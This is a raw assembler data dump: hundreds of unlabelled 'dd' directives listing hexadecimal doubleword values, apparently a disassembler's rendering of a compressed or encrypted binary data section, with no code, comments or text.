dd 5432CC91h, 60E44080h, 0B50CE98h, 1685473Dh, 33E13482h
dd 82F25706h, 59DB00A8h, 1C2E8BA4h, 6934A3Dh, 8087971Eh
dd 0C1AAEB00h, 2ABE76ECh, 98FB2461h, 4E467448h, 0C8FE4600h
dd 93AA27D5h, 18F46C00h, 907919DFh, 0E840EBB4h, 0A09EF0B2h
dd 24167088h, 448025E4h, 0B07363A8h, 8C97935Dh, 5404444h
dd 740E7E8Bh, 8EA840F7h, 667D495Eh, 0F0CA4525h, 4CB77AAEh
dd 6A0E4474h, 0E040EBC7h, 16C98020h, 9C907492h, 98779820h
dd 80707280h, 59CEEF78h, 24A8B463h, 5340B0E6h, 1CA4640Ah
dd 2ECD6570h, 8098497Ch, 700F708h, 0F9956F32h, 1DF1EDBDh
dd 47C74C96h, 79B404AAh, 4E27D401h, 3C082D7Ch, 53A6009Fh
dd 78DEFEFAh, 0E861022Fh, 0D02D0C6Dh, 0D4E60848h, 6CB98812h
dd 306E5092h, 9C08B0E3h, 64500D12h, 0C0140C8h, 12C0BB1h
dd 2B94DD7Bh, 0F82FD4B0h, 0E4984DC2h, 8796061Ah, 0C1FC60F9h
dd 73F6060Ch, 19187051h, 0F811EA24h, 7C9D0449h, 30057CC8h
dd 51A82664h, 98ABF4DFh, 0FAD0BBE8h, 0B002F04Ah, 239F580h
dd 0A740C116h, 0A4B14AC2h, 85151039h, 44925C76h, 3844BC3Ch
dd 0AE742400h, 103BC118h, 98D8D468h, 357B410h, 0F95AB297h
dd 0EF900F49h, 0CF79BDDh, 80201447h, 63E25F05h, 20383C05h
dd 864AFAFFh, 0E900A4A6h, 686C282Eh, 20ECEECh, 42AD523Ch
dd 6065F282h, 9F604EE4h, 0D5002697h, 7691B323h, 955175h
dd 18C1174Eh, 364FEF3h, 93B2D60Ch, 0B938FAh, 794410CDh
dd 0B38CCB6Ah, 4A16A100h, 91D46177h, 0BC201B4h, 0E0C954Bh
dd 0B9E9FCA2h, 0DCA4DA00h, 769A7B04h, 77B80072h, 17EF46C2h
dd 0E90035DDh, 0F141D14Ah, 8D58D9h, 0B49B8BFFh, 0B3557016h
dd 0B033Dh, 0B1DA837Ah, 179E71h, 2733D178h, 703AF9E4h
dd 0C0D481Ch, 1B14BB80h, 51359Ah, 0D5E8A54Ch, 27E00868h
dd 0E380D21Dh, 60A4B08Fh, 1FEC53Bh, 5C071E4Eh, 271E878Ch
dd 0E367D0ADh, 337E8326h, 891F1C00h, 29EA50A7h, 0AFE23E43h
dd 0DB2A8202h, 0FD4885h, 0F4D619DEh, 0E05C003Ah, 0FAD11740h
dd 6E00E64Dh, 7049F57Ah, 3C383h, 0A01ABB23h, 5647DB6Ah
dd 133F82B0h, 55F3800Ch, 11B01C85h, 0AFE803EAh, 3A989C26h
dd 7C381900h, 0A3A94AD7h, 5D937665h, 2600C8C6h, 0FEC26DF3h
dd 9E004C04h, 0FD4EB005h, 987BE0h, 28D93361h, 0A47668FBh
dd 36AEA200h, 65DD0A4Dh, 0AFE40411h, 0D05F2912h, 73B26C38h
dd 3BEC107h, 0CC504A22h, 5D59C4h, 486EFA8Fh, 4BAD3B93h
dd 17746576h, 0F637BF00h, 2CB3DC2Eh, 63B100F8h, 9F967008h
dd 0D600795Eh, 358936AFh, 0F7BB07h, 0ADDB6641h, 7C24DDEDh
dd 0B6D18403h, 0A8CFA043h, 0C15439h, 20B02291h, 8BA573D8h
dd 803A2C39h, 5B9E1C8Eh, 3CC35Dh, 0FFD8F70Dh, 14EBF59Ch
dd 410F1500h, 0B36DA4B8h
dd 0E2490028h, 33732F51h, 9C0038A9h, 0BC45C9F7h, 822E34h
dd 1FFCC79Dh, 73EFB88Ah, 15118D09h, 5609F4h, 74B4BCF0h
dd 18F70217h, 4FA212B9h, 98F188h, 0DD3396D6h, 0D0544E23h
dd 0F30014C4h, 48DED936h, 28195D9Ah, 0A1B85B6Fh, 41ED17C0h
dd 229F0D3h, 5E2A1472h, 393ADAE3h, 37F60380h, 0FA3D76BFh
dd 0D08939h, 16F4916Fh, 0D8AFE7h, 0B2793067h, 7048FD21h
dd 3F006EECh, 0A46D8477h, 4445837h, 65C710E5h, 0C518D06Ah
dd 960E41D2h, 9D846Dh, 0E3DA270Eh, 154097C1h, 7B004B40h
dd 0AB13B3CDh, 1F902Ah, 991DE7A0h, 0D08857F8h, 0F202A878h
dd 0F9B3C532h, 3530484Bh, 0C9730045h, 91888085h, 0E4000416h
dd 0F74FFC1Ah, 0F6ADDC2Ah, 0AC353F8Ah, 0CE730200h, 0C711085Bh
dd 0F0413626h, 2BD2D080h, 38AFE90h, 0B506A489h, 0B6C09642h
dd 5402B0A9h, 6BC759DAh, 63B8403Bh, 0B42B00CAh, 0B9481C8Fh
dd 39009E6Dh, 6A0EFF1Bh, 51FBB5h, 0D30A38F7h, 0B2CA30A5h
dd 811A040Eh, 403EEF4Eh, 8253C172h, 7C960049h, 0FD8E3C0Bh
dd 0EB48EF99h, 3EF00F3Fh, 47007C50h, 9B14CBF5h, 0A223000Ch
dd 0B8DA577Dh, 0ED06EE63h, 9F6D4F90h, 5F8D0011h, 99A3EBD5h
dd 0D71ED141h, 0AC0458Bh, 0FB58A720h, 3FAB30AFh, 2BF20406h
dd 0EB602900h, 0C8B8784Fh, 63860054h, 0E80150CBh, 0C30EF747h
dd 0F3FEA1B9h, 1C9230Eh, 7B5EABAEh, 0F54E9C40h, 5C505CE5h
dd 80A750h, 5CAD0B4Dh, 72234A75h, 0DD6D6A00h, 0A3020804h
dd 937854h, 11E09655h, 0B038018Eh, 0B5768900h, 5D2431Dh
dd 79BD0050h, 83EE5E75h, 0A2E6A3B6h, 0F9371E01h, 2BD4B27Dh
dd 8B21FCh, 7387FD5h, 5B8E10A6h, 1F375407h, 4FB37694h
dd 6274E042h, 164F6CEh, 0BC19C4D9h, 407897D0h, 0F20258F6h
dd 416BAF8h, 5840D812h, 747241D4h, 0E0B10A19h, 0F83C22h
dd 0B8E7182Eh, 9F48401Ch, 6F2D003Ch, 0C26A8127h, 0C1DD00AFh
dd 0CC546C2Ch, 17F85E7h, 7C304800h, 0A8ECC40Ch, 68B609CFh
dd 5C20DF6Ch, 9C9814DBh, 0C6032892h, 93807ECFh, 73210357h
dd 0F12025BCh, 4B689918h, 0A12AB4h, 0BF9310ECh, 0F618B8F2h
dd 0EA430A00h, 7A7FF586h, 18397C4Ah, 4EB61A69h, 2900885Ch
dd 0BDC51371h, 38511Eh, 0DF426B1h, 0AFA29584h, 0F8002D7Eh
dd 639A97Eh, 0B252A5h, 9FA03751h, 7C3E714Ch, 62694009h
dd 0DE1027CDh, 0FF45823h, 0E02A6106h, 7FB15D60h, 0EE009FBFh
dd 0B0314DBAh, 2E232774h, 112097h, 8671D463h, 961D1CA0h
dd 530015A3h, 0A93430A4h, 1DB0090Bh, 0D00E74CCh, 0BE3F87FEh
dd 3840105Ah, 0AE006648h, 1694495Dh, 76F815h, 10C9965Eh
dd 52FBFAF3h, 0C6299200h, 0EC4DDED2h, 802500D3h, 0EDCA1995h
dd 3400465Fh, 87CD5450h, 21BCDCh, 7396A79Bh, 32C34FECh
dd 587B4500h, 0AB40F81Fh, 9A721D51h, 0E92FC05Bh, 2E8A4D9Fh
dd 89E84700h, 0BE5D43ECh, 0A0100051h, 0D16602B8h, 6E00089Fh
dd 3A4AE26Ch, 0FC1AFC8Fh, 976F0E17h, 0E6C0F7AEh, 2FF6FA87h
dd 0D5B4703h, 85A79F68h, 2907F8C0h, 16370050h, 8F876521h
dd 1100462Eh, 9C89CACCh, 22AFFB9h, 0E7552CA7h, 5DC11305h
dd 0B851601Dh, 0EC169F00h, 0B75C7968h, 28C89830h, 8AB2B9h
dd 4C23E36Eh, 0CF70F838h, 0C244D300h, 0A5F06DABh, 45B107F3h
dd 5039BA5Ch, 80E22DE9h, 66C38203h, 801EE67Dh, 162293D9h
dd 6E11E1h, 0D4D2F57Ch, 0DD60D86Fh, 67CF6949h, 40795A25h
dd 0F46B7B54h, 373E83Ch, 0FF0BAEFAh, 12B6EDh, 778DBBE8h
dd 207F0058h, 89B17010h, 7300B48Ch, 2464FB27h, 0FC18B8Ah
dd 32D92FA2h, 6012A880h, 717A8681h, 0F06092Eh, 0C969A000h
dd 205EB4h, 0F302F587h, 9B506DB2h, 1C93640Dh, 0A4500274h
dd 94F304FCh, 917200C8h, 996C8814h, 0E0A0E7E9h, 10A0B0FBh
dd 7500B8BEh, 0DCC7DB7Ch, 3AC80BC6h, 9187B4F8h, 0C9E37913h
dd 8F18A988h, 9FFF74E1h, 25EF1DC8h, 5D3FAC02h, 140CBCC2h
dd 0B83CE571h, 131F0AADh, 7645245Dh, 42804838h, 84E60074h
dd 61D489BDh, 1907295h, 28014987h, 0F0C03EECh, 7A0EC21Fh
dd 7DF8B5ACh, 9113A840h, 24FA72Bh, 2C9B625Ch, 8B60AD05h
dd 0DE033130h, 0E07C69D4h, 0EC3F8826h, 1EFFFE60h, 2B53C05h
dd 9FC2C8B1h, 0F5DA99E0h, 77BAB3Fh, 0F12AEB33h, 142B1730h
dd 0C9E8137Eh, 0B3DB0025h, 29ED3E20h, 0E60092E8h, 0A91D662Fh
dd 30DB795h, 45563CAh, 0D1988EF1h, 0D40026EBh, 0B792FC30h
dd 1FFE1249h, 85AB0718h, 0C3DD9CC2h, 0F7D7411Ch, 53A660A4h
dd 0E2050A10h, 0D2C0589Ah, 74B9D800h, 5DE76F9Fh, 61008823h
dd 55DD7615h, 0A276D657h, 0C0141900h, 9635582Bh, 132C0095h
dd 24CA69AFh, 0FCEA5C64h, 0F9411C00h, 0BC5BB749h, 3B1B3904h
dd 7A1AB400h, 0E176C1C5h, 0F455D000h, 49B678B2h, 45BE005Bh
dd 2FCCD404h, 0FAA0F991h, 55003CE9h, 0AD714DFCh, 98BFC944h
dd 935C0064h, 0CF10522Dh, 0EB0054E6h, 0AA468725h, 7CEA02h
dd 0F54CCB65h, 0F01B4363h, 918D1D00h, 86B9E02Ch, 953C0040h
dd 705FA498h, 3D3F7F30h, 16158396h, 0BBA86DFEh, 0A5D48052h
dd 397A79h, 9D3A5DB3h, 0A17F2995h, 846FE900h, 0BCCE0313h
dd 74650B5Bh, 4800DFA7h, 0EF10B135h, 9A2F3Bh, 9395D11Ah
dd 0E2E9488h, 75C44C70h, 53683840h, 1212AF0Ah, 0DC826CA7h
dd 3088A002h, 0C23AB188h, 3319AD50h, 0A4826640h, 126F6C13h
dd 74710080h, 79880097h, 84BD2FD7h, 0B676E89Dh, 0AA769900h
dd 0EDCD7B1Ch, 23092C74h, 0D600BFACh, 847CA01Eh, 0AF0EB23Dh
dd 2BEE881Ah, 46A820F8h, 60AE0C51h, 0E65E6615h, 0C400C7BFh
dd 0A8BC7D08h, 72D721Ah, 1282281h, 195030DFh, 0D10054C1h
dd 9314A1A5h, 0BB7A64h, 2007F1B0h, 1EFD0E85h, 23A6D800h
dd 0E57D5140h, 41D90584h, 0D02B886Ch, 9030DF0Ch, 50DBA100h
dd 0E98B55E7h, 3EDC0115h, 66AF5997h, 0F444F475h, 80A69A00h
dd 8A5A498Eh, 0F8D30054h, 9713F75Fh, 0D1006DF9h, 0CF462952h
dd 19B008h, 2315E8FFh, 798267FBh, 1F008B7Bh, 6A5F136Bh
dd 0C09CC6h, 32B74F63h, 0B8BD330Bh, 53D50A00h, 740C3FA2h
dd 0EBA2A6Ch, 3D0B25BCh, 80A65CA5h, 0DF439783h, 18784500h
dd 231EE161h, 88E29Dh, 0CE2DC5F5h, 593B0E52h, 961C8C9Ch
dd 8A9110C0h, 487237CAh, 0E9110464h, 0B22C002Fh, 0D250ED77h
dd 6CC55DA2h, 687E9907h, 0E26F9097h, 0F9A134EFh, 6632CC7Ah
dd 4901887Fh, 0A172CBD6h, 0E3ECF2E8h, 0C4365DA2h, 1BEA3800h
dd 21C78F80h, 81A0955Ch, 4B03699Dh, 302084E9h, 637B207Fh
dd 7C4A8002h, 501A91A5h, 7AFF0CD8h, 9D91A195h, 4B544A00h
dd 0E34C1AB1h, 0CBB650DCh, 4D900BAh, 0F292601Dh, 0AC004DE8h
dd 775E6373h, 74E39h, 90A7E4D5h, 172AE95Ah, 0F70F0F79h
dd 0E0AF6626h, 78BF15BCh, 35E501CDh, 140B1DDAh, 0C43ED92Fh
dd 0C00048A5h, 646289ADh, 4653EEh, 5ECB494h, 245D0C5Ch
dd 0C17A4000h, 3D3AD5AAh, 0DF530026h, 0E708B45Bh, 0CF00352Bh
dd 8810AF3Fh, 0F56D8D1h, 806E9450h, 84D6D460h, 1B001ABCh
dd 5149D9FCh, 4BF6E2D5h, 0CB6B802h, 40A5CA7Dh, 6D8300FEh
dd 9AFBA45Fh, 4F00524Ch, 0E6C43194h, 601D9h, 859B0FFh
dd 3891288Ch, 0C6E1AE00h, 4353805Dh, 470B0098h, 63976ABh
dd 0BB1EBD22h, 5A85F235h, 8407F48Eh, 0FE50D2CCh, 5A562B78h
dd 0B4880EDCh, 9A5205C3h
dd 254F8800h, 40805558h, 7FFB0054h, 365FEE10h, 97007EC9h
dd 0DDE12C1h, 96CC9447h, 925A0E30h, 13007D6Fh, 95C0564Fh
dd 7CAFE807h, 0F4909B77h, 250CFAEh, 0F1DB30EBh, 8CE8B5EFh
dd 7F0792A7h, 407BC9CDh, 0EF02937h, 1E6F1F7Ah, 40F2B0A9h
dd 0ADB4BC48h, 0FB07F0E6h, 9D7EFC8Ch, 0E6C559FCh, 2C291DF9h
dd 368AE30h, 58EAB095h, 0DBF61A80h, 4B617A3Eh, 3080A8D4h
dd 0CCE38C5h, 52B30D0Fh, 64243350h, 1D814CE1h, 3AA18534h
dd 0A4991180h, 6B15BBDDh, 302C6F26h, 9739F880h, 33CF01h
dd 9332FA7Bh, 14C9A25Fh, 92847F12h, 77A36C41h, 63C8D967h
dd 539F3734h, 0B0E3A719h, 9C2BF80Fh, 22D6162Ch, 74910201h
dd 60F821B1h, 5C7F5DC2h, 0C0DC2Bh, 0AD43FC14h, 0C892B310h
dd 1C4FC000h, 0F15C139Ch, 708B2634h, 14D300F7h, 924E0BF4h
dd 0A401D87Dh, 0F09650BFh, 3EF4948Ah, 678700DFh, 0ED78B9C2h
dd 8C008E2Ch, 0CC2414A9h, 7F4640E9h, 83160070h, 32C9BC91h
dd 0B1F85BB4h, 0E6779700h, 0F619D5B2h, 734B1F4Ch, 76E48045h
dd 0BB524DEEh, 6B000976h, 932EC0D0h, 72CBAC50h, 77D40F14h
dd 61274FF0h, 9FAAFDh, 630857F1h, 5D001731h, 5F67C390h
dd 7F6187Fh, 0A03CC4E7h, 0BD39812Ah, 0EC59E153h, 26601C8Ch
dd 3D638D78h, 1FB005Eh, 4DFD344Eh, 8300E6BAh, 7C41EC98h
dd 4B7504Ah, 88B5175Eh, 0D54CF0A8h, 0DDED0307h, 0C1E0334Bh
dd 0E68F81Ch, 20406287h, 0E2C8F980h, 19765FD9h, 42462113h
dd 1495B080h, 97C0AB47h, 24DABB61h, 52301180h, 0C21CFE1Dh
dd 0BCE92528h, 3112800h, 0BDFB3C3Dh, 0DAAE07E1h, 50FACF3Eh
dd 4F4DBADCh, 16A6900h, 0DE44E60Dh, 0D0380378h, 2BCE40C7h
dd 0EC4D46C1h, 0AE004F20h, 0A819C1E8h, 0EF5886h, 3FDF82D2h
dd 0F921BC0Fh, 0FB811C00h, 7588E753h, 6D0E0097h, 843AFEBBh
dd 0D4B00315h, 892E501Eh, 0A6C3EBC0h, 0CDA03Dh, 0D177F978h
dd 5611182Ch, 30E6F100h, 8658A18Fh, 475C0022h, 0F076B1AAh
dd 19731B9Eh, 0EC00034Fh, 0DAA8933Ch, 0D0A16597h, 0F5C08044h
dd 0AB0028B6h, 58964279h, 27B3728Bh, 0E848BFF6h, 0A307305Eh
dd 0D2EA0AB7h, 644AFCE0h, 0B2701811h, 6F2A68AEh, 80D93E3Eh
dd 382CC292h, 1F0C6DF6h, 0C2BD06A3h, 0B071F27Eh, 1F090078h
dd 806B0B7Fh, 2D53E504h, 0AA4D18A0h, 4794702Bh, 56191304h
dd 0CB47EDFh, 0EF7600BFh, 8814B172h, 5B1512A1h, 201031DFh
dd 6C994073h, 8B747974h, 0BAFBDE12h, 3B60CC8h, 0C80B7C75h
dd 0C7F0C6DCh, 744BAAF8h, 9103540Fh, 2152D782h, 151904E0h
dd 69745009h, 0EEC85214h, 0BA227DA4h, 767C2C14h, 0C6B100ECh
dd 78E35BF4h, 420E60CEh, 54BFC155h, 35DE8A10h, 65B3015Ch
dd 80BC9B50h, 0B5C09D08h, 5C4CEFh, 6D3A7B89h, 9C901B4Fh
dd 93A1F000h, 87EAFEE2h, 27FF25CAh, 0F01E6091h, 0E61F0FABh
dd 0DFDDBBCFh, 0A4B44600h, 0D73B3Ch, 6F5324Ah, 0E01DEE82h
dd 71799D58h, 0D5CF6500h, 0F3D623DBh, 0D0690007h, 78B8F737h
dd 67303F21h, 7E815271h, 9B400F4h, 77C65684h, 0A007D0Dh
dd 0D021DA28h, 4002CBh, 0BDD7C10Eh, 6B627E03h, 26EEB200h
dd 7B41F584h, 20D1FA4h, 13E70028h, 81E3D53Ah, 11553500h
dd 0EA9BB90Bh, 4BC70086h, 6B14579Ch, 7500B712h, 0DDC1CEBDh
dd 0A03ED0E6h, 3DAFFDCCh, 0BC8011C9h, 8DB2375Bh, 0D72ED3B7h
dd 0B10088C5h, 1502B678h, 0A7EF0265h, 9089B3E0h, 92E5AEE0h
dd 7F66DF1Ch, 0FF78CF83h, 0C38AB886h, 94E10076h, 0A8BA208h
dd 185EB839h, 0E8F0D440h, 7E4B9B9Eh, 8C2B02D9h, 0EDE035EEh
dd 9A248080h, 1500A0B6h, 0F0ECDED7h, 3BEE6Bh, 22DC06E6h
dd 354B7323h, 0F9C2711Eh, 0E9011B80h, 9A805C9h, 0CB28F8B2h
dd 0C0B64CA0h, 21B83658h, 0E4AD8800h, 0E15F57BAh, 0B1F72CEEh
dd 162E1378h, 0D9E84036h, 981FF1BCh, 0DB49700h, 129EFBFEh
dd 8BD207F6h, 0D7F97Dh, 0DADDF5A0h, 5BA56C00h, 70CACB81h
dd 49C40B48h, 2F80CCF1h, 1203C710h, 5EF61C90h, 0A31C9613h
dd 0F4970C81h, 8FE0587Ch, 0AA00764Bh, 379CE412h, 58E1EEDh
dd 5990C686h, 5890201h, 34526709h, 3D0D3Ch, 0A0F4350Bh
dd 0B828B829h, 0D04F3058h, 477254A0h, 0DDC21500h, 0D8582C51h
dd 0D2C11C49h, 0C39400C4h, 0AA33DB0Fh, 2C923498h, 69F7FF09h
dd 8BA440E0h, 1E037891h, 62F634h, 0D060C317h, 0AA0751F7h
dd 3DB7AA8h, 4A782EB0h, 0E4E500ABh, 0A77E1E9Eh, 481C6975h
dd 0A2035367h, 0D8F0B008h, 70CE3DEh, 12E9CF6Ah, 7F7A9041h
dd 4075CD47h, 81634600h, 0C1A05B10h, 0C2090102h, 7BFA5C69h
dd 87B4410Eh, 4AAC20ACh, 28D52600h, 66C5A788h, 14CC0E44h
dd 19AAFA9Bh, 325000E8h, 3B7C8DFh, 0A4F71B00h, 65C985CCh
dd 0E920B5Dh, 0C080B881h, 172FC883h, 0B1A6A4A8h, 0F727FE00h
dd 85BC1C8Dh, 7FC3017Ch, 7D18DF24h, 54BF0DDh, 7960C539h
dd 0F87C8128h, 5BF282Fh, 0BCC00EECh, 0C99A33C2h, 3A0F3B8Eh
dd 41CEC080h, 257165E6h, 3CF6E424h, 0EC841A80h, 1C5E23Ch
dd 66631135h, 0EDF4A1B9h, 15E5E42Bh, 7C6A4602h, 54CA8ACDh
dd 2C920044h, 26053C13h, 0A8234212h, 9CB70000h, 4592B38h
dd 8793643Fh, 163C90AAh, 6007ADA5h, 0FB1D17D5h, 6A808697h
dd 2A12D7h, 753DC632h, 0AEE0BA6Bh, 173C7B00h, 16AA2623h
dd 7A700331h, 0A8C61B7Dh, 4351EDE8h, 0D284C300h, 0F4AAB3BEh
dd 0E3E420h, 1405E5D5h, 0F173B226h, 22832F27h, 0E17F9BC8h
dd 0C838AA56h, 637B5D08h, 173D4A07h, 862195D0h, 27C900A9h
dd 710D5837h, 0EF0FD606h, 60CF8C4Ah, 7D32A20Ah, 0DBC0004Bh
dd 0D2920C89h, 0A900DFFBh, 9D28BD99h, 16170F4Dh, 0E5857Bh
dd 0BF37DEE8h, 0B5173D54h, 4400FA9Fh, 9811506Dh, 0D0410F35h
dd 7C207F89h, 84E8F11Eh, 9448E50Bh, 0B46612h, 59E60B04h
dd 5A037D36h, 0FFAEF400h, 0DFE26BFBh, 0CE1C00A1h, 9658CDF7h
dd 0BE772192h, 0B935441Ch, 48E8B0C0h, 28710Ch, 0A45C655Eh
dd 2D3931A2h, 8FF4890Eh, 1C0E0087h, 64EFF0h, 6AC571F1h
dd 96A09D07h, 0A2407B00h, 0A42F12D3h, 3FB70034h, 4994A361h
dd 460735D8h, 76556356h, 0BB172Fh, 0CBB525D0h, 809DFF57h
dd 9D77A614h, 0E4F600B0h, 0A53E74D6h, 97004F52h, 0BCFC27AFh
dd 9298F734h, 516900E4h, 7484F335h, 9BB0FB56h, 0B0005C94h
dd 6B12E7C6h, 0B575009Ah, 64CD1B9Bh, 0D600AA52h, 0C27638EDh
dd 21FCD1h, 0F9B5DDD3h, 6F2847C7h, 1558CB00h, 0BC354641h
dd 387B66h, 248CEEACh, 7B450A26h, 0F40E6112h, 424F0C45h
dd 1FAD8CF0h, 0C1FA94A6h, 8DB9557Fh, 7B7EF03Fh, 1CA23Ah
dd 6FDFEA1Ah, 0FE09648h, 8556ECC7h, 3F50E1A0h, 992683B1h
dd 690020B8h, 0C602752Ah, 0E9AF39D5h, 0B7F22E80h, 0A0AC1CE4h
dd 4049EC60h, 3BA1E07h, 0B89DAA1Dh, 28E1733Eh, 458AFC60h
dd 0AD486B77h, 0C69016Ch, 0A4DABDE4h, 607BB420h, 4ECEC1FEh
dd 800D147h, 0B6336990h, 0F06659h, 918E11DDh, 515064C1h
dd 0F2C6F907h, 8120D6CAh, 4A764Ch, 54AC3595h, 66F73E1Eh
dd 793F6900h, 0B89110A0h, 2DEE286h, 9DEE5F29h, 0E460048Fh
dd 0ED7C78BAh, 9BE8E4ECh, 2B00F876h, 2D96710h, 0F7F64FBh
dd 35E79E8Ch, 2D27B6E0h, 0BD035C62h, 85075E5Ah, 0C7AAC0F8h
dd 4100030h, 923E953Ch, 0B7096741h, 6E9FFCh, 90DCBAD1h
dd 10E49Bh, 88CE5D9Dh
dd 2C6495D0h, 137E6000h, 80EE4809h, 734C004Ah, 470DEA8Eh
dd 5BECF8B6h, 1021EB0h, 78452F84h, 74CC801Ch, 1D9ACB5Ch
dd 869F777Ch, 8A3A4E9h, 0D22C2A09h, 6AE0A01Eh, 3FDB7BC6h
dd 7C803D3Eh, 0AF69373Ch, 1F77F5A9h, 0B8E82B75h, 0BCFBA200h
dd 442705D0h, 0F45516ADh, 36D800CCh, 0FFD794B4h, 72DF81A0h
dd 3542B800h, 2E3AECFAh, 0A1460087h, 0D72C5C38h, 0B600B778h
dd 5D3E1DEBh, 0D6F39Bh, 0CF53E265h, 8F89E088h, 0A5B3420Bh
dd 4C7A61h, 4083EBA9h, 0CFFEC72Ah, 110270C0h, 35AB54Ch
dd 2BE9EC95h, 37E0B36Ah, 443D569Eh, 4AD900AAh, 8091FA8Fh
dd 43F803B5h, 0BF83795Dh, 4EC16E8h, 7E6CF34Ch, 0A80AAD00h
dd 787A1C10h, 1C400C0h, 2CF3D7FBh, 6B13E772h, 0B0A086EBh
dd 8D143A69h, 0B989D428h, 7ACC10E0h, 4B6234BEh, 1F487E07h
dd 46123CEBh, 0BE88277h, 403CF33Ah, 0F7A90589h, 21EC7489h
dd 0B0690F2Dh, 981CB87Bh, 5893111Ah, 4D18A600h, 5C12A450h
dd 243450DFh, 4CBC4AC1h, 0DC907CF4h, 0C803D400h, 683370E7h
dd 446D0073h, 88117ABCh, 0A20F3716h, 0A0978C79h, 77A4FDC5h
dd 759801FBh, 9AD43ABAh, 0A776EC2Bh, 7C82A513h, 9467CA07h
dd 45D5C330h, 0A98707BCh, 470780AEh, 4630339Bh, 821E0AC8h
dd 6EC6841Ch, 937651C0h, 984ECDh, 3D17A8E2h, 0E927D547h
dd 166C9C16h, 99086901h, 0C1804B73h, 0A51311ADh, 0D709E71Eh
dd 8078BC8Ch, 57EC2B80h, 1C9030h, 0F5269799h, 78BD1384h
dd 201A6E34h, 323FA447h, 38F88A44h, 0A0B0E7C0h, 448C2D12h
dd 0F03F59Ch, 4E7BBCB1h, 1AE4B068h, 0D28D01FBh, 4114B293h
dd 1C043E70h, 0F202594Ch, 0A476AF63h, 5C619C67h, 2C6A2F93h
dd 0C2984104h, 0F4152C00h, 0CA938D05h, 584060ACh, 515CB504h
dd 0F8F18181h, 3BC4013Fh, 10F9FFABh, 4F46780Eh, 0D4A89028h
dd 184F7268h, 43505097h, 3F1C3DB5h, 0EA0C547Dh, 8F34225Ah
dd 5203E101h, 0C36DFBECh, 0F604EDCh, 681F6F0Dh, 40CA25E0h
dd 0EC006B42h, 4BE0A286h, 0EA1612Dh, 1A6C6509h, 0C08B1605h
dd 6BBFD269h, 7C103600h, 295F8468h, 21F900FEh, 0FF17DF6Eh
dd 0F6FA0F5Bh, 0CCAEE300h, 925E7732h, 0B1E3BB7h, 4AFEB380h
dd 0F53CFA0Ch, 3A22A900h, 5D450199h, 0E39A0312h, 0E18C5E09h
dd 55DDFA90h, 642BD101h, 85B0CB4Ch, 60BE5CF0h, 0EB7F18DEh
dd 8C1DDDFFh, 69078EECh, 0E0AF4F73h, 16C9AA76h, 7D08CFAFh
dd 9A4C2058h, 0D0074F7Dh, 5A1DED59h, 89D23EA0h, 0C44130ECh
dd 19E38E08h, 960FB800h, 5062DE5h, 61691977h, 0D0EF21D6h
dd 0B36046C9h, 2A423D11h, 355003CEh, 4D488BCFh, 21AC0832h
dd 81EAE0F4h, 39FF03CCh, 0F661B688h, 1E1473D0h, 2EA5340Dh
dd 0F9E3D0E7h, 9887DA6Dh, 20FAD736h, 0E35E255Dh, 78C13518h
dd 0FD89F088h, 0C091B1E0h, 23C95B10h, 45013C1Bh, 0B30D7B0Bh
dd 2AFC65E7h, 27E03C34h, 0DE973500h, 5B56E652h, 0AA12DD00h
dd 0FBAD2378h, 6ACE0003h, 0F86CD726h, 4C002D08h, 0A7796785h
dd 334E17h, 5BDDEC8Fh, 0B1026A86h, 82900603h, 0B02578BBh
dd 0ADBAACh, 0B349A88Dh, 2FF03A16h, 7C6E520Fh, 0B44018CBh
dd 8266F5Bh, 865D1100h, 0DE00C75Fh, 0F1926B8Dh, 188ABA06h
dd 31012E4Ah, 731D4816h, 8E9B7517h, 0AA25E158h, 19FCC330h
dd 8029BE8Fh, 20FDF193h, 63EA510h, 193A3098h, 2F03503h
dd 995C51B5h, 332014E2h, 738D04A6h, 348FC69h, 0FAE087EDh
dd 0EC9077B6h, 0A0016E1h, 11BFB1A7h, 9AC37Bh, 3A18012Dh
dd 0F5834EEh, 258C50F1h, 0EEB0ADCFh, 0AAC97B1Dh, 8347B80Eh
dd 315972Fh, 650671C9h, 117F3B5Ah, 3CFFB800h, 7717EDEFh
dd 7E8200D5h, 3FFCF790h, 0A8C03DE3h, 0BFAAD75Bh, 741B74A5h
dd 1CE900F1h, 1246964Ch, 530037E7h, 0C92D2F7Ah, 1671DDCh
dd 0B16F59F8h, 6027C66Dh, 0AD00D6F8h, 0E8AF55Dh, 9798BDDFh
dd 0B5A0C463h, 0D04C7BF7h, 9F550378h, 30CCE020h, 1B215009h
dd 61B87BC8h, 6D0368EAh, 88192D04h, 492001F5h, 0DBD4CF5Ch
dd 1710815Bh, 79821FEFh, 31E834D4h, 0E08FFB1h, 1C20805Ch
dd 15B31FE7h, 6A400F8Dh, 7421A156h, 0D85884B4h, 14758A91h
dd 59F0801Bh, 33583A80h, 0BA401C0Ch, 4F001511h, 22ADD097h
dd 633A94E0h, 0DC19081Bh, 21FA2001h, 0AD926597h, 6051C20h
dd 2DA454DFh, 0CC0A5875h, 886550AEh, 0A80CDE01h, 1888F108h
dd 94A0408Eh, 0C9396A46h, 0A7552908h, 0C4133C4h, 30227BC1h
dd 500666EAh, 0DAD2B3AAh, 0F458C648h, 53077160h, 0ACC9EBB2h
dd 0A1EFB6C0h, 0FB2B0339h, 3AC6FE0Ch, 0C1319E98h, 0EAD17700h
dd 88C47E90h, 0D0DD0746h, 20BCE4EDh, 7C3E18CAh, 76CE8D00h
dd 9392C901h, 8BFA010Eh, 97EB28CBh, 8769E806h, 7500B4FCh
dd 59D171AAh, 0D067FCh, 8197F9EBh, 0B3F1D965h, 0E7CAD707h
dd 273B32A3h, 2520BEE9h, 788310Dh, 8C09382Dh, 0EB3AD075h
dd 0D1009D24h, 0B88236A8h, 7D67B62h, 34235B58h, 0AE7D60B3h
dd 3C0EE531h, 2F21FBA5h, 0A93661FFh, 0EED45C2Bh, 78B0005Dh
dd 19278729h, 1006420h, 0A0E7ED67h, 33E62B6h, 21E83ACCh
dd 9003378Fh, 9810E549h, 5B60A9B1h, 76AD7B60h, 0C6C0009Ch
dd 0B192812h, 7000B3DAh, 547E7950h, 10701DEh, 0EB4A22D5h
dd 0CC4C2953h, 410E2619h, 3858DD3Ah, 613422A0h, 0AF8E19DFh
dd 378040A7h, 644C25FAh, 497A07D6h, 8BE7A943h, 80A0906Ah
dd 300C5220h, 1DA9D021h, 300891Ah, 0F38AFD59h, 30F8A7h
dd 0D5CEFCABh, 7911A1C8h, 825D7D00h, 54C59B9Ah, 3C00083h
dd 2DF1A48Ah, 5E00D837h, 252456E0h, 58213FACh, 2C002006h
